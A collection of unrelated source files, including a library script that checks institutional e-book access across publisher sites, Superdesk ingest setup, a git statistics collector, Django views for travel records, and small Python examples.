{"seq_id":"30624547372","text":"\"\"\"\n----------------\naccessChecker.py\n----------------\n\nTo run:\n\nInput csv file should have two columns\n - column one is the name of the vendor selected from the list below\n - column two is the url\n - column three is the title of journal\n\nExecute the command: \"python accessChecker.py {name_of_csv_file}\"\n\nOutput will be written to accessCheckerResults.csv\n\"\"\"\n\nimport sys\nfrom bs4 import BeautifulSoup \nimport csv\nimport re \nimport requests \nfrom selenium import webdriver\nimport yaml\nimport time\n\ndef url_check(url):\n    if url == \"title_url\":\n        return \"Default URL\"\n    else:\n        return url\n            \ndef get_columns():\n    yml = open('AccessCheckerSettings.yml', 'r')\n    settings = yaml.load(yml)\n    columns = []\n    for setting in settings[\"Columns\"]:\n        if settings[\"Columns\"][setting]:\n            columns.append(setting)\n    yml.close()\n    return columns\n\ndef get_rows(filename):\n    file_extension = filename.split('.')[-1]\n    if file_extension == \"csv\":\n        f = open(filename,'r')\n        reader=csv.reader(f)\n    if file_extension == \"txt\":\n        f = open(filename,'rU')\n        reader=csv.reader((line.replace('\\0','') for line in f),delimiter='\\t')\n        for _ in range(28):\n            header = next(reader) #skip (**) lines\n            if (len(header) > 1) and (\"itle\" in header[0]): break\n    if len(header) == 0: header = next(reader) # to account for weird case where an extra blank line exists in the txt file.\n    header=list(map(url_check, header))\n    rows = [dict(zip(header, map(str, row))) for row in reader]\n    f.close()\n    for index,row in enumerate(rows):\n        if not bool(row):\n            del rows[index]\n    return rows\n    \ndef main(filename, vendor):\n    columns = get_columns()\n    rows= get_rows(filename)\n    output = csv.writer(open('accessCheckerResults.csv', \"w\", newline=''))\n    num_lines = len(rows)\n    output_header = [\"Vendor\"] + columns + [\"Have Access?\"]\n    output.writerow(output_header)\n    for index, row in enumerate(rows):\n        message = globals().get(vendor)(row[\"Default URL\"])\n        print(str(index + 1) +  \" of \" + str(num_lines) + \" | \" + message + \" | \" + row[\"Default URL\"])\n        \n        output_row = [vendor]\n        for column in columns:\n            if column in row:\n                output_row.append(row[column]) \n            else:\n                output_row.append('')\n        output_row.append(message)\n        output.writerow(output_row)\n    #[vendor, row[\"Title\"], row[\"Default URL\"], message]\n    \n\ndef adam(url):\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, 'lxml')\t\n    if soup.find_all(text = re.compile(\"Download whole document\")) or soup.find_all(text = re.compile(\"Download entire document\")):\n        return \"Right On!\"\n    else: \n        return \"Look into this . . . \"\n\ndef asp(url, count, num_lines):\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, 'lxml')\n    if soup.find_all(\"div\", id = \"1\"):\n        return \"Right On!\"\n    elif soup.find_all(\"title\", text = re.compile(\"Trial login\")):\n        return \"Nope!\"\n    else: \n        return \"Look into this . . . \"\n\ndef curio(url):\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, 'lxml')\n    if soup.find_all(\"div\", class_=\"container content\"): \n        return \"Right On!\"\n    elif soup.find_all(\"h2\", class_ = \"pull-right\"): \n        return \"Nope!\"\n    else: \n        return \"Look into this . . . \"\n\ndef ebookcentral(url): #updated Feb 2018 PP\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, 'lxml')\n    if soup.find_all(text = re.compile(\"Your institution has access\")):\n        return \"Right On!\"\n    elif soup.find_all(text = re.compile(\"Sorry, this book is not available\")):\n        return \"Nope!\"\n    else: \n        return \"Look into this . . . \"\n\"\"\"\n    browser = webdriver.PhantomJS() \n    browser.get(url)\n    soup=BeautifulSoup(browser.page_source)\n    if soup.find_all(text = re.compile(\"Your institution has access\")):\n        return \"Right On!\" \n    elif soup.find_all(text = re.compile(\"Your institution has access to 1 copy of this book.\")):\n        return \"Right On! [supo]\"  \n    elif soup.find_all(text = re.compile(\"Sorry, this book is not available\")):\n        return \"Nope!\"\n    else: \n        return \"Look into this . . . \"\n\"\"\"\ndef ebsco(url):\n    browser = webdriver.PhantomJS() \n    browser.get(url)\n    soup=BeautifulSoup(browser.page_source)\n    if soup.find_all(\"a\", class_= \"record-type pdf-ft\") or soup.find_all(\"a\", class_= \"record-type epub\"):\n        return \"Right on!\"\n    else: \n        return \"Nope!\"\n\ndef fod(url):\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, 'lxml')\n    if soup.find_all(\"i\", class_= \"fa fa-play\") or soup.find_all(text = re.compile(\"Show Segments\")):\n        return \"Right On!\"\n    elif soup.find_all(\"span\", id = \"MainContent_lblSearchTerm\"): \n        return \"Nope!\"\n    else: \n        return \"Look into this . . . \"\n\ndef gale(url):\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, 'lxml')\t\n    if soup.find_all(text = re.compile(\"Table of Contents\")):\n        return \"Right On!\"\n    else: \n        return \"Look into this . . . \"\n\ndef harvard(url):\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, 'lxml')\t\n    if soup.find_all(\"li\", class_= \"paidAccess\"):\n        return \"Right On!\"\n    elif soup.find_all(\"a\", class_= \"get-access\"):\n        return \"Nope!\"\n    else: \n        return \"Look into this . . . \" \n\ndef ilib(url):\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, 'lxml')\n    if soup.find_all(text = re.compile(\"Download Page Range\")):\n        return \"Right On!\"\n    elif soup.find_all(text = re.compile(\"Access Error\")):\n        return \"Nope!\"\n    else: \n        return \"Look into this . . . \"\n\n#igi updated Oct 2017/PP        \ndef igiglobal(url):\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, 'lxml')\n    if soup.find_all(text = re.compile(\"Full-Book Download\")):\n        return \"Right On!\"\n    elif soup.find_all(text = re.compile(\"Purchase\")):\n        return \"Nope!\"\n    else: \n        return \"Look into this . . . \"\n \n#ingenta created Feb 2018/PP       \ndef ingenta(url):\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, 'lxml')\n    if soup.find_all(src=\"/images/icon_s_square.gif\"):\n        return \"Right On!\"\n    elif soup.find_all(src=\"/images/icon_f_square.gif\"):\n        return \"Free content\"\n    elif soup.find_all(text = re.compile(\"Wiley-Blackwell\")):\n        return \"has changed publishers to Wiley\"\n    elif soup.find_all(text = re.compile(\"Content Not Found\")): \n        return \"Content Not Found\"\n    else: \n        return \"Look into this . . . \"\ndef jstor(url):\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, 'lxml')\n    if soup.find_all(\"a\", class_= \"pdfLink tt-track-nolink\"):\n        return \"Right On!\"\n    elif soup.find_all(\"span\", text = re.compile(\"Your institution has not purchased this book from JSTOR.\")): \n        return \"Nope!\"\n    else: \n        return \"Look into this . . . \"\n\ndef muse(url):\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, 'lxml')\n    if soup.find_all(\"span\", class_= \"access_yes\"):\n        return \"Right On!\"\n    elif soup.find_all(\"span\", class_= \"access_no\"):\n        return \"Nope!\"\n    else: \n        return \"Look into this . . . \"\n\ndef nfb(url):\n    r = requests.get(url[1])\n    soup = BeautifulSoup(r.text, 'lxml')\n    if soup.find_all(text = re.compile(\"Access your rentals without\")):\n        return \"Nope!\"\n    elif soup.find_all(\"div\", class_= \"embed-player-container\"): \n        return \"Right On!\"\n    else: \n        return \"Look into this . . . \"\n\n#cannot get oxford to work? OCt 2017/PP\ndef oxford(url):\n    time.sleep(5)\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, 'lxml')\t\n    if soup.find_all(text = re.compile(\"availabilityIcon unlocked\")):\n        return \"Right On!\"\n    elif soup.find_all(text = re.compile(\"availabilityIcon locked\")):\n        return \"Nope!\"\n    else: \n        return \"Look into this . . . \"\n        \n#springer updated Oct 2017/PP\ndef springer(url):\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, 'lxml')\n    if soup.find_all(\"a\", class_= \"webtrekk-track pdf-link\"):\n        return \"Right On!\"\n    elif soup.find_all(\"a\", class_= \"test-bookpdf-link\"):\n        return \"Right On!\"\n    elif soup.find_all(\"a\", class_= \"access-link\"):\n        return \"Nope!\"\n    elif soup.find_all(\"title\", text = re.compile(\"Deleted DOI\")):\n        return \"Deleted DOI!\"\n    elif soup.find_all(\"div\", id = \"error\"):\n        return \"Page not found\"\n    else: \n        return \"Look into this . . . \"\n\ndef tandf(url):\n    r = requests.get(url[1])\n    soup = BeautifulSoup(r.text, 'lxml')\n    if soup.find_all(\"a\", text = re.compile(\"Download a copy\")) or soup.find_all(\"a\", text = re.compile(\"Quick access\")):\n        return \"Right On!\"\n    elif soup.find_all(\"span\", text = re.compile(\"Sorry, you do not have access to this book.\")):\n        return \"Nope!\"\n    else: \n        return \"Look into this . . . \"\n           \n #wiley updated May 2018/PP      \ndef wiley(url):\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, 'lxml')\n    if soup.find_all(text = re.compile(\"full access\")):\n        return \"Right On!\" \n    elif soup.find_all(text = re.compile(\"Full access\")):\n        return \"Right on!\"\n    elif soup.find_all(text = re.compile(\"We're sorry, the page you've requested does not exist at this address\")):\n        return \"Page not found\"\n    elif soup.find_all(text = re.compile(\"Hindawi\")):\n        return \"Hindawi open access\"\n    elif soup.find_all(text = re.compile(\"Open access\")):\n        return \"Open access\"\n    elif soup.find_all(text = re.compile(\"Birth Defects Research\")):\n        return \"Journal merge Birth Defects Research\"\n\n    elif soup.find_all(text = re.compile(\"You have free access to this content\")):\n        return \"Free Access\"\n    elif soup.find_all(text = re.compile(\"This journal is now published as\")):\n        return \"Change of title\"\n    elif soup.find_all(text = re.compile(\"Open Access\")):\n        return \"Open access\"\n    elif soup.find_all(text = re.compile(\"free access\")):\n        return \"Free Access\"\n    else: \n        return \"Look into this . . . \"\n# Run it!\nif __name__ == \"__main__\":\n    if len(sys.argv) > 1 and sys.argv[1] == \"vendors\":\n        methods = list(globals())\n        main_ind =  methods.index('main')\n        for vendor in methods[main_ind+1:]:\n            print(vendor)\n    elif len(sys.argv) != 3:\n        print(\"Correct Usage: \"+sys.argv[0]+\" file/path/and/name.ext vendor\")\n        print(\"To see a list of vendors run: \"+sys.argv[0]+\" vendors\")\n    else:\n        main(sys.argv[1],sys.argv[2])","repo_name":"UVicLibrary/KrakenAccessChecker","sub_path":"krakenAccessChecker.py","file_name":"krakenAccessChecker.py","file_ext":"py","file_size_in_byte":10631,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"24759260610","text":"import logging\nimport superdesk\nfrom superdesk.etree import etree\nfrom superdesk.celery_app import celery\nfrom superdesk.locators.locators import find_cities\nfrom superdesk.metadata.item import Priority\n\nparsers = []\nproviders = {}\nallowed_providers = []\nprovider_errors = {}\npublish_errors = []\nlogger = logging.getLogger(__name__)\n\nfrom .commands.remove_expired_content import RemoveExpiredContent\nfrom .commands.update_ingest import UpdateIngest\n\n\ndef init_app(app):\n    from .ingest_provider_model import IngestProviderResource, IngestProviderService\n    endpoint_name = 'ingest_providers'\n    service = IngestProviderService(endpoint_name, backend=superdesk.get_backend())\n    IngestProviderResource(endpoint_name, app=app, service=service)\n\n    from .io_errors import IOErrorsService, IOErrorsResource\n    endpoint_name = 'io_errors'\n    service = IOErrorsService(endpoint_name, backend=superdesk.get_backend())\n    IOErrorsResource(endpoint_name, app=app, service=service)\n\n    from .ingest import IngestResource, IngestService\n    endpoint_name = 'ingest'\n    service = IngestService(endpoint_name, backend=superdesk.get_backend())\n    IngestResource(endpoint_name, app=app, service=service)\n    from .commands.add_provider import AddProvider  # NOQA\n\n\ndef register_provider(type, provider, errors):\n    providers[type] = provider\n    allowed_providers.append(type)\n    provider_errors[type] = dict(errors)\n\n\n@celery.task(soft_time_limit=15)\ndef update_ingest():\n    UpdateIngest().run()\n\n\n@celery.task\ndef gc_ingest():\n    RemoveExpiredContent().run()\n\n\nclass ParserRegistry(type):\n    \"\"\"Registry metaclass for parsers.\"\"\"\n\n    def __init__(cls, name, bases, attrs):\n        \"\"\"Register sub-classes of Parser class when defined.\"\"\"\n        super(ParserRegistry, cls).__init__(name, bases, attrs)\n        if name != 'Parser':\n            parsers.append(cls())\n\n\nclass Parser(metaclass=ParserRegistry):\n    \"\"\"Base Parser class for all types of Parsers like News ML 1.2, News ML G2, NITF, etc.\"\"\"\n\n    def parse_message(self, xml, provider):\n        \"\"\"Parse the ingest XML and extracts the relevant elements/attributes values from the XML.\"\"\"\n        raise NotImplementedError()\n\n    def can_parse(self, xml):\n        \"\"\"Test if parser can parse given xml.\"\"\"\n        raise NotImplementedError()\n\n    def qname(self, tag, ns=None):\n        if ns is None:\n            ns = self.root.tag.rsplit('}')[0].lstrip('{')\n        elif ns is not None and ns == 'xml':\n            ns = 'http://www.w3.org/XML/1998/namespace'\n\n        return str(etree.QName(ns, tag))\n\n    def set_dateline(self, item, city=None, text=None):\n        \"\"\"\n        Sets the 'dateline' to the article identified by item. If city is passed then the system checks if city is\n        available in Cities collection. If city is not found in Cities collection then dateline's located is set with\n        default values.\n\n        :param item: article.\n        :param city: Name of the city, if passed the system will search in Cities collection.\n        :param text: dateline in full. For example, \"STOCKHOLM, Aug 29, 2014\"\n        \"\"\"\n\n        item['dateline'] = {}\n\n        if city:\n            cities = find_cities()\n            located = [c for c in cities if c['city'] == city]\n            item['dateline']['located'] = located[0] if len(located) > 0 else {'city_code': city, 'city': city,\n                                                                               'tz': 'UTC', 'dateline': 'city'}\n        if text:\n            item['dateline']['text'] = text\n\n    def map_priority(self, source_priority):\n        \"\"\"\n        Maps the source priority to superdesk priority\n        :param str source_priority:\n        :return int: priority of the item\n        \"\"\"\n        if source_priority and source_priority.isdigit():\n            if int(source_priority) in Priority.values():\n                return int(source_priority)\n\n        return Priority.Ordinary.value\n\n\ndef get_xml_parser(etree):\n    \"\"\"Get parser for given xml.\n\n    :param etree: parsed xml\n    \"\"\"\n    for parser in parsers:\n        if parser.can_parse(etree):\n            return parser\n\n\n# must be imported for registration\nimport superdesk.io.nitf\nimport superdesk.io.newsml_2_0\nimport superdesk.io.newsml_1_2\nimport superdesk.io.wenn_parser\nimport superdesk.io.teletype\nimport superdesk.io.email\nregister_provider('search', None, [])\n\nsuperdesk.privilege(name='ingest_providers', label='Ingest Channels', description='User can maintain Ingest Channels.')\n","repo_name":"plamut/superdesk-core","sub_path":"superdesk/io/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"}
{"seq_id":"43024271842","text":"from datetime import datetime\nfrom pytz import FixedOffset\n\nfrom vilya.libs.consts import LANGUAGES\nfrom vilya.libs.store import cache, ONE_DAY\nfrom vilya.models.user import get_author_by_email\nfrom .consts import conf\nfrom .utils import getcommitrange, getkeyssortedbyvaluekey\nfrom .collector import DataCollector\n\nREPO_EXTENSION_KEY = \"repo:%s:stats:extension1\"\n\n\nclass GitDataCollector(DataCollector):\n\n    def __init__(self, gyt_repo):\n        super(GitDataCollector, self).__init__()\n        self.gyt_repo = gyt_repo\n\n    @classmethod\n    def _get_author_email(cls, author_email):\n        author, email = author_email.split('<', 1)\n        author = author.rstrip()\n        email = email.rstrip('>')\n        return (author, email)\n\n    def commitrange(self, head, end=None):\n        return getcommitrange(head, end)\n\n    def fill_shortstat(self, commitrange):\n        try:\n            to_ref, from_ref = commitrange\n            block_of_lines = self.gyt_repo.repo.log(to_ref,\n                                                    from_ref=from_ref,\n                                                    shortstat=True,\n                                                    no_merges=True,\n                                                    reverse=True\n                                                    )\n        except:\n            block_of_lines = []\n        return block_of_lines\n\n    @cache(REPO_EXTENSION_KEY % '{proj_name}', expire=ONE_DAY)\n    def compute_file_size_and_extensions(self, proj_name):\n        # extensions and size of files\n        # this should only run once than only compute delta\n        extensions = {}\n        total_size = 0\n        total_files = 0\n        source_files = 0\n        source_lines = 0\n        lines = self.gyt_repo.repo.ls_tree('HEAD', recursive=True, size=True)\n        for line in lines:\n            if line[0] == '160000' and line[3] == '-':\n                # skip submodules\n                continue\n            sha1 = line[2]\n            size = int(line[3])\n            fullpath = line[4]\n\n            total_size += size\n            total_files += 1\n\n            filename = fullpath.split('/')[-1]  # strip directories\n            if filename.find('.') == -1 or filename.rfind('.') == 0:\n                ext = ''\n            else:\n                ext = filename[(filename.rfind('.') + 1):]\n            if len(ext) > conf['max_ext_length']:\n                ext = ''\n            name = LANGUAGES.get(ext, None)\n\n            if name not in extensions:\n                if ext in LANGUAGES.keys():\n                    name = LANGUAGES[ext]\n                    extensions[name] = {'files': 0, 'lines': 0}\n                else:\n                    continue\n\n            extensions[name]['files'] += 1\n            source_files += 1\n            try:\n                # should be text files\n                count = self.getLinesInBlob(sha1)\n                extensions[name]['lines'] += count\n                source_lines += count\n            except:\n                pass\n        return extensions, total_files, total_size, source_files, source_lines\n\n    def fill_rev_list_commitrange(self, commitrange):\n        to_ref, from_ref = commitrange\n        commits = self.gyt_repo.repo.rev_list(to_ref, from_ref)\n        for commit in commits:\n            author = commit.author.name\n            # email = email_normalizer(commit.author.name,\n            #                          commit.author.email)\n            email = commit.author.email\n            stamp = commit.committer.time\n            date = datetime.fromtimestamp(\n                commit.committer.time,\n                FixedOffset(commit.committer.offset)\n            )\n\n            author = get_author_by_email(email, author)\n            if author in conf['merge_authors']:\n                author = conf['merge_authors'][author]\n\n            # First and last commit stamp\n            # (may be in any order because of cherry-picking and patches)\n            if stamp > self.last_commit_stamp:\n                self.last_commit_stamp = stamp\n            if self.first_commit_stamp == 0 or stamp < self.first_commit_stamp:\n                self.first_commit_stamp = stamp\n\n            # yearly/weekly activity\n            yyw = date.strftime('%Y-%W')\n            self.year_week_act[yyw] += 1\n            if self.year_week_act_peak < self.year_week_act[yyw]:\n                self.year_week_act_peak = self.year_week_act[yyw]\n\n            # author stats\n            if author not in self.authors:\n                self.authors[author] = {\n                    'lines_added': 0,\n                    'lines_removed': 0,\n                    'commits': 0,\n                }\n            # commits, note again that commits may be in any date order\n            # because of cherry-picking and patches\n            if 'last_commit_stamp' not in self.authors[author]:\n                self.authors[author]['last_commit_stamp'] = stamp\n            if stamp > self.authors[author]['last_commit_stamp']:\n                self.authors[author]['last_commit_stamp'] = stamp\n            if 'first_commit_stamp' not in self.authors[author]:\n                self.authors[author]['first_commit_stamp'] = stamp\n            if stamp < self.authors[author]['first_commit_stamp']:\n                self.authors[author]['first_commit_stamp'] = stamp\n            if 'email' not in self.authors[author]:\n                self.authors[author]['email'] = email\n\n    def fill_short_stats_commitrange(self, commitrange):\n        to_ref, from_ref = commitrange\n        if to_ref == 'HEAD' and from_ref is None:\n            total_lines = 0\n        else:\n            total_lines = self.total_lines\n        for commit in self.fill_shortstat(commitrange):\n            files = commit['files']\n            inserted = commit['additions']\n            deleted = commit['deletions']\n            total_lines += inserted\n            total_lines -= deleted\n            self.total_lines_added += inserted\n            self.total_lines_removed += deleted\n            stamp = commit['committer_time']\n            author = commit['author_name']\n            email = commit['author_email']\n            author = get_author_by_email(email, author)\n            if author in conf['merge_authors']:\n                author = conf['merge_authors'][author]\n            self.changes_by_date[stamp] = {\n                'files': files,\n                'ins': inserted,\n                'del': deleted,\n                'lines': total_lines\n            }\n            self.process_line_user(author, stamp, inserted, deleted)\n        self.total_lines = total_lines\n\n    def collect(self, dir, proj_name, head, n_author):\n        DataCollector.collect(self, dir)\n        self.loadCache(proj_name, '/stats/' + proj_name, n_author)\n        last_sha = self.cache and self.cache.get('last_sha', '')\n        if last_sha:\n            commitrange = self.commitrange('HEAD', last_sha)\n        else:\n            commitrange = self.commitrange('HEAD')\n\n        self.total_authors += n_author\n        self.fill_rev_list_commitrange(commitrange)\n\n        # TODO Optimize this, it's the worst bottleneck\n        # outputs \"<stamp> <files>\" for each revision\n        to_ref, from_ref = commitrange\n        revlines = self.gyt_repo.repo.rev_list(to_ref, from_ref=from_ref)\n        for commit in revlines:\n            timest = commit.author.time\n            rev = commit.tree.hex\n            linecount = self.getFilesInCommit(rev)\n            self.files_by_stamp[int(timest)] = int(linecount)\n        self.total_commits += len(revlines)\n\n        extensions, total_files, total_size, source_files, source_lines \\\n            = self.compute_file_size_and_extensions(proj_name)\n\n        self.extensions = extensions\n        self.total_files = total_files\n        self.total_size = total_size\n        self.source_files = source_files\n        self.source_lines = source_lines\n\n        self.fill_short_stats_commitrange(commitrange)\n\n        self.refine()\n        # here update new data after head sha\n\n        # here need to save to cache up to head sha\n        self.cache['last_sha'] = head\n        self.saveCache(proj_name, '/stats/' + proj_name)\n\n    def process_line_user(self, author, stamp, inserted, deleted):\n        if author not in self.authors:\n            self.authors[author] = {\n                'lines_added': 0,\n                'lines_removed': 0,\n                'commits': 0,\n            }\n        self.authors[author]['commits'] += 1\n        self.authors[author]['lines_added'] += inserted\n        self.authors[author]['lines_removed'] += deleted\n        if stamp not in self.changes_by_date_by_author:\n            self.changes_by_date_by_author[stamp] = {}\n        if author not in self.changes_by_date_by_author[stamp]:\n            self.changes_by_date_by_author[stamp][author] = {}\n        linesadd = self.authors[author]['lines_added']\n        commits_n = self.authors[author]['commits']\n        self.changes_by_date_by_author[stamp][author]['lines_added'] = linesadd\n        self.changes_by_date_by_author[stamp][author]['commits'] = commits_n\n\n    def refine(self):\n        # authors\n        # name -> {place_by_commits, commits_frac, date_first, date_last,\n        # timedelta}\n        self.authors_by_commits = getkeyssortedbyvaluekey(\n            self.authors, 'commits')\n        self.authors_by_commits.reverse()  # most first\n        for i, name in enumerate(self.authors_by_commits):\n            self.authors[name]['place_by_commits'] = i + 1\n\n        for name in self.authors.keys():\n            a = self.authors[name]\n            a['commits_frac'] = (\n                100 * float(a['commits'])) / self.getTotalCommits()\n            date_first = datetime.fromtimestamp(a['first_commit_stamp'])\n            date_last = datetime.fromtimestamp(a['last_commit_stamp'])\n            delta = date_last - date_first\n            a['date_first'] = date_first.strftime('%Y-%m-%d')\n            a['date_last'] = date_last.strftime('%Y-%m-%d')\n            a['timedelta'] = delta\n            if 'lines_added' not in a:\n                a['lines_added'] = 0\n            if 'lines_removed' not in a:\n                a['lines_removed'] = 0\n\n    def getActiveDays(self):\n        return self.active_days\n\n    def getActivityByDayOfWeek(self):\n        return self.d_of_week_act\n\n    def getActivityByHourOfDay(self):\n        return self.h_of_day_act\n\n    def getAuthorInfo(self, author):\n        return self.authors[author]\n\n    def getAuthors(self, limit=None):\n        res = getkeyssortedbyvaluekey(self.authors, 'commits')\n        res.reverse()\n        return res[:limit]\n\n    def getCommitDeltaDays(self):\n        return (self.last_commit_stamp / 86400 - self.first_commit_stamp / 86400) + 1  # noqa\n\n    def getFilesInCommit(self, rev):\n        try:\n            res = self.cache['files_in_tree'][rev]\n        except:\n            res = len(self.gyt_repo.repo.ls_tree(rev,\n                                                 recursive=True,\n                                                 name_only=True))\n            if 'files_in_tree' not in self.cache:\n                self.cache['files_in_tree'] = {}\n            self.cache['files_in_tree'][rev] = res\n\n        return res\n\n    def getFirstCommitDate(self):\n        return datetime.fromtimestamp(self.first_commit_stamp)\n\n    def getLastCommitDate(self):\n        return datetime.fromtimestamp(self.last_commit_stamp)\n\n    def getLinesInBlob(self, sha1):\n        try:\n            res = self.cache['lines_in_blob'][sha1]\n        except:\n            res = len(self.gyt_repo.repo.cat_file(sha1).split('\\n'))\n            if 'lines_in_blob' not in self.cache:\n                self.cache['lines_in_blob'] = {}\n            self.cache['lines_in_blob'][sha1] = res\n        return res\n\n    def getTotalAuthors(self):\n        return self.total_authors\n\n    def getTotalCommits(self):\n        return self.total_commits\n\n    def getTotalFiles(self):\n        return self.total_files\n\n    def getTotalLOC(self):\n        return self.total_lines\n\n    def getTotalSize(self):\n        return self.total_size\n","repo_name":"douban/code","sub_path":"vilya/models/stats/gitcollector.py","file_name":"gitcollector.py","file_ext":"py","file_size_in_byte":12045,"program_lang":"python","lang":"en","doc_type":"code","stars":1812,"dataset":"github-code","pt":"18"}
{"seq_id":"71990471081","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.contrib.auth.decorators import login_required, permission_required\nfrom datetime import datetime\nfrom travels.models import Travel\nfrom clients.models import Client\nfrom drivers.models import Driver\nfrom django.core.exceptions import ObjectDoesNotExist\n\n\ndef sendTravelList(request, error=None):\n    client = Client.objects.get(username=request.user)\n    travels = Travel.objects.filter(client=client)\n    context = {\n        'travels': [t.getTravelDict() for t in travels],\n        'error': error\n    }\n    return render(request, 'clients/clients.html', context=context)\n\n@login_required\n@permission_required(\"clients.client\")\ndef travelsList(request):\n    if 'refundReq' in request.GET:\n        try:\n            travel = Travel.objects.get(pk=request.GET['refundReq'])\n\n            if travel.client.username != request.user.username:\n                return sendTravelList(request, error='Permission Error')\n            travel.refound_request = True\n            travel.save()\n        except ObjectDoesNotExist:\n            return sendTravelList(request, error='Travel not exists')\n\n    if 'reportDriver' in request.GET:\n        try:\n            travel = Travel.objects.get(pk=request.GET['reportDriver'])\n            if travel.client.username != request.user.username:\n                return sendTravelList(request, error='Permission Error')\n            status = travel.reportDriver()\n            if not status:\n                return sendTravelList(request, error=\"Double report error\")\n        except ObjectDoesNotExist:\n            return sendTravelList(request, error='Travel not exists')\n    if 'removeTravel' in request.GET:\n        try:\n            travel = Travel.objects.get(pk=request.GET['removeTravel'])\n            if not travel.isRemovable() or travel.client.username != request.user.username:\n                return sendTravelList(request, error='Permission Error')\n            travel.delete()\n            \n        except ObjectDoesNotExist:\n            return sendTravelList(request, error='Travel not exists')\n\n    return sendTravelList(request)\n","repo_name":"loribonna/EsameLDPython","sub_path":"clients/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"21770732648","text":"\"\"\"\nInterpolated Antenna array gain\n================================\n\"\"\"\nimport time\nimport matplotlib.pyplot as plt\n\nimport pyant\n\nbeam = pyant.beam_of_radar(\"e3d_stage1\", \"array\")\n\ninterp_beam = pyant.models.InterpolatedArray()\ninterp_beam.generate_interpolation(beam, resolution=(200, 200, None))\n\nfig, axes = plt.subplots(1, 2)\n\nstart_time = time.time()\npyant.plotting.gain_heatmap(beam, ax=axes[0], resolution=100, min_elevation=80.0)\naxes[0].set_title(\"Array\")\narray_time = time.time() - start_time\n\nstart_time = time.time()\npyant.plotting.gain_heatmap(interp_beam, ax=axes[1], resolution=100, min_elevation=80.0)\naxes[1].set_title(\"Interpolated\")\ninterp_time = time.time() - start_time\n\nprint(f\"Heatmap plot antenna array: {array_time:.1f} seconds\")\nprint(f\"Heatmap plot interpolated array: {interp_time:.1f} seconds\")\nprint(f\"Speedup = factor of {array_time/interp_time:.2f}\")\n\nplt.show()\n","repo_name":"danielk333/pyant","sub_path":"examples/interpolated_antenna_array.py","file_name":"interpolated_antenna_array.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"24434515911","text":"# Function to find the largest of three numbers\r\ndef find_largest(num1, num2, num3):\r\n    largest = max(num1, num2, num3)\r\n    return largest\r\n\r\n# Taking user input for three numbers\r\nnum1 = float(input(\"Enter the first number: \"))\r\nnum2 = float(input(\"Enter the second number: \"))\r\nnum3 = float(input(\"Enter the third number: \"))\r\n\r\n# Calling the function to find the largest number\r\nlargest_number = find_largest(num1, num2, num3)\r\n\r\n# Displaying the result\r\nprint(\"The largest number among\", num1, \",\", num2, \", and\", num3, \"is:\", largest_number)\r\n","repo_name":"Suryakotla-9490/To-Do-List-with-push-and-pop-","sub_path":"largest number.py","file_name":"largest number.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"840138383","text":"__author__ = 'chywoo.park'\nfrom subprocess import Popen, PIPE\nfrom threading import Thread\nfrom queue import Queue, Empty\n\nCMD = [\"/Users/chywoo.park/tizen23/tools/sdb\", \"devices\"]\n\nstdout_fp = open(\"stdout.txt\", \"w\")\nstderr_fp = open(\"stderr.txt\", \"w\")\np = Popen(CMD, stdout=stdout_fp, stderr=stderr_fp)\n\nprint(\"Object: \", p)\nprint(\"\")\neof = False\nprint(\"Wait: \", p.wait())\n# while not eof:\n#     v = p.poll()\n#     print(\"Poll: \", v)\n#     data = p.stdout.read()\n#     # data, err = p.communicate(timeout=10)\n#\n#     if data == b'':\n#         print(\"EOF\")\n#         eof = True\n#\n#     print(data.decode('utf-8'))\n\n\nstdout_fp.close()\nstderr_fp.close()\n\nwith open(\"stdout.txt\", \"r\") as fp:\n    for line in iter(fp.readline, ''):\n        print(line)\n\nwith open(\"stderr.txt\", \"r\") as fp:\n    for line in iter(fp.readline, ''):\n        print(line)\n","repo_name":"chywoo/research","sub_path":"nonblocking.py","file_name":"nonblocking.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
